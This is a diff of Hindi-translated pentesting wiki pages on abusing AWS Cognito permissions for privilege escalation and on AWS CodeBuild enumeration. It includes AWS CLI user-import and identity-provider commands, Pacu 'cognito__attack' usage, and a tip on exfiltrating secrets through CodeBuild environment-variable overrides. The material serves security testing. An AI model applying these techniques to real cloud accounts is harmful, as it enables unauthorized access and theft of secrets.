**Potential Impact:** Identity Pool द्वारा अधिकृत user (जो User Pool द्वारा उपयोग होता है) के लिए संभावित अप्रत्यक्ष privesc — एक नया client बनाकर सुरक्षा उपायों को ढीला करने से attacker उस user के रूप में login कर सकता है जिसे उसने बनाया था।
|
||||
**संभावित प्रभाव:** Identity Pool द्वारा अधिकृत उपयोगकर्ता के लिए संभावित अप्रत्यक्ष privesc, जो User Pool द्वारा उपयोग किया जाता है, एक नया client बनाकर जो सुरक्षा उपायों को ढीला कर देता है और हमलावर को उस उपयोगकर्ता के साथ login करने में सक्षम बनाता जिसे उसने बनाया था।
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
An attacker इस permission का दुरुपयोग करके नए users वाले csv अपलोड करके users बना सकता है।
|
||||
एक हमलावर इस अनुमति का दुरुपयोग करके नए उपयोगकर्ताओं वाली एक CSV फ़ाइल अपलोड करके उपयोगकर्ता बना सकता है।
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(यदि आप एक नया import job बनाते हैं तो आपको iam passrole permission की भी आवश्यकता हो सकती है, मैंने अभी तक इसका परीक्षण नहीं किया है)।
|
||||
(यदि आप एक नया import job बनाते हैं तो आपको iam passrole permission भी चाहिए हो सकता है, मैंने इसे अभी तक परखा नहीं है।)
|
||||
|
||||
**संभावित प्रभाव:** प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role तक direct privesc। अन्य app कार्यक्षमताओं को किसी भी user को create करने में सक्षम बनाने के लिए indirect privesc।
|
||||
**संभावित प्रभाव:** प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role पर Direct privesc। किसी भी user को बनाने में सक्षम अन्य ऐप कार्यक्षमताओं पर Indirect privesc।
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
एक attacker नया identity provider बना सकता है ताकि वह इस provider के माध्यम से **login** कर सके।
|
||||
एक attacker नया identity provider बना सकता है ताकि वे इस provider के माध्यम से **login कर सकें**।
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
@@ -230,24 +278,24 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potential Impact:** प्रमाणिक उपयोगकर्ताओं के लिए identity pool IAM role पर सीधे privesc। अनुप्रयोग की अन्य कार्यक्षमताओं पर अप्रत्यक्ष privesc जिससे किसी भी user को बनाया जा सके।
|
||||
**संभावित प्रभाव:** प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role पर सीधा privesc। अन्य ऐप फंक्शनैलिटीज़ पर अप्रत्यक्ष privesc जो किसी भी user बना पाने में सक्षम हों।
|
||||
|
||||
### cognito-sync:\* विश्लेषण
|
||||
### cognito-sync:* विश्लेषण
|
||||
|
||||
यह Cognito Identity Pools के roles में डिफ़ॉल्ट रूप से बहुत सामान्य permission है। भले ही permissions में wildcard हमेशा खराब दिखता है (खासतौर पर AWS से आने पर), दिए गए permissions हमलावर के दृष्टिकोण से बहुत उपयोगी नहीं हैं।
|
||||
यह Cognito Identity Pools के roles में डिफ़ॉल्ट रूप से एक बहुत सामान्य permission है। भले ही permissions में wildcard हमेशा ख़राब दिखता है (विशेषकर AWS से आने पर), **दिए गए permissions attackers के दृष्टिकोण से बहुत उपयोगी नहीं हैं**।
|
||||
|
||||
यह permission Identity Pools की उपयोग जानकारी और Identity Pools के अंदर Identity IDs पढ़ने की अनुमति देता है (जो संवेदनशील जानकारी नहीं है).\
|
||||
Identity IDs पर [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए हो सकते हैं, जो sessions की जानकारी होते हैं (AWS इसे एक **saved game** की तरह परिभाषित करता है)। संभव है कि इनमें किसी प्रकार की संवेदनशील जानकारी हो (पर संभावना काफी कम है)। इस जानकारी तक कैसे पहुँचें, वह आप [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) में पाएंगे।
|
||||
यह permission Identity Pools की उपयोग जानकारी और Identity Pools के अंदर के Identity IDs को पढ़ने की अनुमति देता है (जो संवेदनशील जानकारी नहीं है).\
|
||||
Identity IDs में [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो sessions की जानकारी होते हैं (AWS इसे **saved game** की तरह परिभाषित करता है)। संभव है कि इनमें किसी प्रकार की संवेदनशील जानकारी हो (पर संभावना काफी कम है)। इस जानकारी तक पहुँचने का तरीका आप [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) पर पा सकते हैं।
|
||||
|
||||
एक हमलावर इन permissions का उपयोग करके इन datasets पर परिवर्तन प्रकाशित करने वाले किसी Cognito stream में स्वयं को **enroll** कर सकता है या cognito events पर trigger होने वाले किसी **lambda** का उपयोग कर सकता है। मैंने इसे उपयोग में आते नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की उम्मीद नहीं करूँगा, पर यह असंभव नहीं है।
|
||||
एक attacker इन permissions का उपयोग इन datasets पर परिवर्तन प्रकाशित करने वाले **Cognito stream में स्वयं को enroll करने** या **cognito events पर trigger होने वाले lambda** को उपयोग करने के लिए भी कर सकता है। मैंने इसे प्रयोग में आते हुए नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की उम्मीद नहीं करूँगा, लेकिन यह असंभव नहीं है।
|
||||
|
||||
### Automatic Tools
|
||||
### स्वचालित उपकरण
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक account में सभी Cognito assets की enumeration स्वचालित करते हैं और कमजोर configurations, access control के लिए उपयोग किए गए user attributes आदि को चिन्हित करते हैं, और साथ ही user creation (including MFA support) और modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens आदि पर आधारित privilege escalation को भी स्वचालित करते हैं।
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
|
||||
|
||||
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
|
||||
|
||||
#### Usage
|
||||
#### उपयोग
|
||||
|
||||
Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
|
||||
```bash
|
||||
@@ -255,11 +303,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
नमूना cognito\_\_enum उपयोग — वर्तमान AWS अकाउंट में दिखाई देने वाले सभी user pools, user pool clients, identity pools, users, आदि एकत्र करने के लिए:
|
||||
cognito\_\_enum का नमूना उपयोग वर्तमान AWS account में दिखाई देने वाले सभी user pools, user pool clients, identity pools, users आदि एकत्र करने के लिए:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है python में जो Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI tool है python में जो Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।
|
||||
|
||||
#### इंस्टॉलेशन
|
||||
```bash
|
||||
|
||||
@@ -4,27 +4,27 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
AWS **CodeBuild** को **पूर्ण रूप से प्रबंधित निरंतर एकीकरण सेवा** के रूप में पहचाना जाता है। इस सेवा का मुख्य उद्देश्य स्रोत कोड को संकलित करने, परीक्षण करने और तैनाती के लिए सॉफ़्टवेयर पैकेज करने की प्रक्रिया को स्वचालित करना है। CodeBuild द्वारा प्रदान किया गया प्रमुख लाभ यह है कि यह उपयोगकर्ताओं को अपने निर्माण सर्वरों को प्रावधान, प्रबंधित और स्केल करने की आवश्यकता से मुक्त करता है। यह सुविधा इसलिए है क्योंकि सेवा स्वयं इन कार्यों का प्रबंधन करती है। AWS CodeBuild की आवश्यक विशेषताएँ हैं:
|
||||
AWS **CodeBuild** को एक **fully managed continuous integration service** के रूप में माना जाता है। इस सेवा का मुख्य उद्देश्य स्रोत कोड को compile करने, tests चलाने, और सॉफ़्टवेयर को deployment के लिए package करने की प्रक्रियाओं को ऑटोमेट करना है। CodeBuild का प्रमुख लाभ यह है कि यह उपयोगकर्ताओं को build servers को provision, manage और scale करने की आवश्यकता से मुक्त करता है क्योंकि यह सेवा ये कार्य स्वयं संभालती है। AWS CodeBuild की प्रमुख विशेषताएँ शामिल हैं:
|
||||
|
||||
1. **Managed Service**: CodeBuild निर्माण सर्वरों का प्रबंधन और स्केल करता है, उपयोगकर्ताओं को सर्वर रखरखाव से मुक्त करता है।
|
||||
2. **Continuous Integration**: यह विकास और तैनाती कार्यप्रवाह के साथ एकीकृत होता है, सॉफ़्टवेयर रिलीज़ प्रक्रिया के निर्माण और परीक्षण चरणों को स्वचालित करता है।
|
||||
3. **Package Production**: निर्माण और परीक्षण चरणों के बाद, यह सॉफ़्टवेयर पैकेज तैयार करता है, जिससे वे तैनाती के लिए तैयार हो जाते हैं।
|
||||
1. **Managed Service**: CodeBuild build servers का प्रबंधन और स्केलिंग करता है, जिससे उपयोगकर्ताओं को सर्वर रखरखाव से मुक्ति मिलती है।
|
||||
2. **Continuous Integration**: यह development और deployment वर्कफ़्लो के साथ एकीकृत होता है, सॉफ़्टवेयर रिलीज़ प्रक्रिया के build और test चरणों को ऑटोमेट करता है।
|
||||
3. **Package Production**: build और test चरणों के बाद यह सॉफ़्टवेयर पैकेज तैयार करता है और उन्हें deployment के लिए तैयार करता है।
|
||||
|
||||
AWS CodeBuild अन्य AWS सेवाओं के साथ सहजता से एकीकृत होता है, CI/CD (निरंतर एकीकरण/निरंतर तैनाती) पाइपलाइन की दक्षता और विश्वसनीयता को बढ़ाता है।
|
||||
AWS CodeBuild अन्य AWS सेवाओं के साथ सहज रूप से एकीकृत होता है, जिससे CI/CD (Continuous Integration/Continuous Deployment) पाइपलाइन की दक्षता और विश्वसनीयता बढ़ती है।
|
||||
|
||||
### **Github/Gitlab/Bitbucket Credentials**
|
||||
### **Github/Gitlab/Bitbucket क्रेडेंशियल्स**
|
||||
|
||||
#### **Default source credentials**
|
||||
#### **डिफ़ॉल्ट स्रोत क्रेडेंशियल्स**
|
||||
|
||||
यह एक विरासती विकल्प है जहाँ कुछ **access** (जैसे Github टोकन या ऐप) को कॉन्फ़िगर करना संभव है जो **codebuild परियोजनाओं के बीच साझा किया जाएगा** ताकि सभी परियोजनाएँ इस कॉन्फ़िगर किए गए क्रेडेंशियल सेट का उपयोग कर सकें।
|
||||
यह legacy विकल्प है जहाँ कुछ **access** (जैसे Github token या app) को कॉन्फ़िगर किया जा सकता है जिसे **codebuild projects में साझा** किया जाता है ताकि सभी प्रोजेक्ट इस कॉन्फ़िगर किए गए क्रेडेंशियल सेट का उपयोग कर सकें।
|
||||
|
||||
संग्रहीत क्रेडेंशियल (टोकन, पासवर्ड...) **codebuild द्वारा प्रबंधित** होते हैं और इन्हें AWS APIs से पुनः प्राप्त करने का कोई सार्वजनिक तरीका नहीं है।
|
||||
स्टोर किए गए क्रेडेंशियल्स (tokens, passwords...) **codebuild द्वारा प्रबंधित** होते हैं और इन्हें AWS APIs से पुनःप्राप्त करने का कोई सार्वजनिक तरीका नहीं है।
|
||||
|
||||
#### Custom source credential
|
||||
#### कस्टम स्रोत क्रेडेंशियल
|
||||
|
||||
भंडार प्लेटफ़ॉर्म (Github, Gitlab और Bitbucket) के आधार पर विभिन्न विकल्प प्रदान किए जाते हैं। लेकिन सामान्यतः, कोई भी विकल्प जो **टोकन या पासवर्ड को संग्रहीत करने की आवश्यकता होती है, उसे सीक्रेट्स मैनेजर में एक सीक्रेट के रूप में संग्रहीत करेगा**।
|
||||
Repository प्लेटफ़ॉर्म (Github, Gitlab और Bitbucket) पर निर्भर करते हुए अलग-अलग विकल्प उपलब्ध होते हैं। पर सामान्यतः, कोई भी विकल्प जो **token या password स्टोर करने की आवश्यकता करता है वह इसे secrets manager में secret के रूप में स्टोर करता है**।
|
||||
|
||||
यह **विभिन्न codebuild परियोजनाओं को प्रदाताओं के लिए विभिन्न कॉन्फ़िगर किए गए एक्सेस का उपयोग करने की अनुमति देता है** बजाय इसके कि केवल कॉन्फ़िगर किए गए डिफ़ॉल्ट का उपयोग किया जाए।
|
||||
यह अनुमति देता है कि **विभिन्न codebuild प्रोजेक्ट्स प्रदाताओं के लिए अलग-अलग कॉन्फ़िगर किए गए एक्सेस का उपयोग कर सकें** बजाय केवल कॉन्फ़िगर किए गए डिफ़ॉल्ट वाले का उपयोग करने के।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
|
||||
aws codebuild list-reports
|
||||
aws codebuild describe-test-cases --report-arn <ARN>
|
||||
```
|
||||
> [!TIP]
|
||||
> यदि आपके पास `codebuild:StartBuild` है, तो याद रखें कि आप अक्सर build time पर env vars ओवरराइड कर सकते हैं (`--environment-variables-override`). यह कुछ हमलों के लिए पर्याप्त हो सकता है, भले ही `UpdateProject` या `buildspec` ओवरराइड न हों (उदाहरण के लिए: artifact/upload buckets को redirect करके secrets को exfiltrate करना, या language/runtime env vars का दुरुपयोग करके commands execute करना)।
|
||||
|
||||
### Privesc
|
||||
|
||||
निम्नलिखित पृष्ठ पर, आप **कोडबिल्ड अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं:
|
||||
निम्नलिखित पृष्ठ पर, आप देख सकते हैं कि कैसे **abuse codebuild permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codebuild-privesc/README.md
|
||||
|
||||
Reference in New Issue
Block a user